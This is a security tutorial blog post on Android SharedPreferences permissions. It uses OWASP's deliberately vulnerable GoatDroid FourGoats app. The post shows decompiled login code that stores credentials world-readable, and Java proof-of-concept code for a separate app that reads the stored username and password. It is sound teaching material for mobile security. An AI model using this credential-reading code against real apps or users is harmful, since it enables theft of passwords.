In this post I will explain what SharedPreferences are in Android, and show why it is important to restrict access to them.  I will use OWASP’s GoatDroid FourGoats as a vulnerable application because of its misconfiguration of SharedPreferences.  I will also write a small application that demonstrates why it is vulnerable.

Lab setup:

  • OWASP GoatDroid project (download here)
    • Brief instructions and setup for GoatDroid can be found here.
  • Genymotion Android virtualization (Android v. 4.2.2)

SharedPreferences are data that can be stored by an application’s directory on the phone that can allow access based on the following permissions:

  • MODE_PRIVATE (0) – File creation mode: the default mode, where the created file can only be accessed by the calling application (or all applications sharing the same user ID).
  • MODE_WORLD_READABLE(1) –  File creation mode: allow all other applications to have read access to the created file.
  • MODE_WORLD_WRITEABLE(2) – File creation mode: allow all other applications to have write access to the created file.
  • MODE_MULTI_PROCESS(4) – when set, the file on disk will be checked for modification even if the shared preferences instance is already loaded in this process. 

After installing FourGoats on the android virtual device, we can navigate its file system using Android SDK plugin in Eclipse (Window -> Show View -> Other -> Android -> File Explorer):

1

Using dex2jar and jd-gui, I reversed the APK to check the code for possible flaws.  I noticed the following code snippet from the Login Activity:

 public void saveCredentials(String paramString1, String paramString2)
 {
 SharedPreferences.Editor localEditor = getSharedPreferences("credentials", 1).edit();
 localEditor.putString("username", paramString1);
 localEditor.putString("password", paramString2);
 localEditor.putBoolean("remember", true);
 localEditor.commit();
 }

This snippet tells us that the application is “remembering” and saving credentials in a SharedPreference, named “credentials”, with MODE_WORLD_READABLE (the constant 1), with the formatting for the username and password being “username” and “password” respectively.  We can easily create an app that accesses this SharedPreference to demonstrate that MODE_WORLD_READABLE is never an appropriate solution for storing sensitive data:


TextView prefs_output = (TextView) findViewById(R.id.prefs_output);

Context otherAppsContext = null;
try{
otherAppsContext = createPackageContext("org.owasp.goatdroid.fourgoats",Context.CONTEXT_IGNORE_SECURITY); //The package name for the installed application that is using the shared prefs
}

catch(NameNotFoundException e){

}

SharedPreferences fourgoats_prefs = otherAppsContext.getSharedPreferences("credentials",0); //Shared prefs file we want to access
String results_username = fourgoats_prefs.getString("username", "not found"); //get "username" entry as a string, or return "not found"
String results_password = fourgoats_prefs.getString("password", "not found");//get "password" entry as a string, or return "not found"

prefs_output.setText("Username found: "+results_username+"\n Password found: "+results_password);//display

 

 

And the results:

2

 

The test application returns some parsed credentials found in the SharedPreference “credentials” file.  The obvious solution here is to avoid using the WORLD_READABLE option for Shared Preferences for sensitive data.  The source of the small application is here: https://github.com/ehrenb/SharedPrefs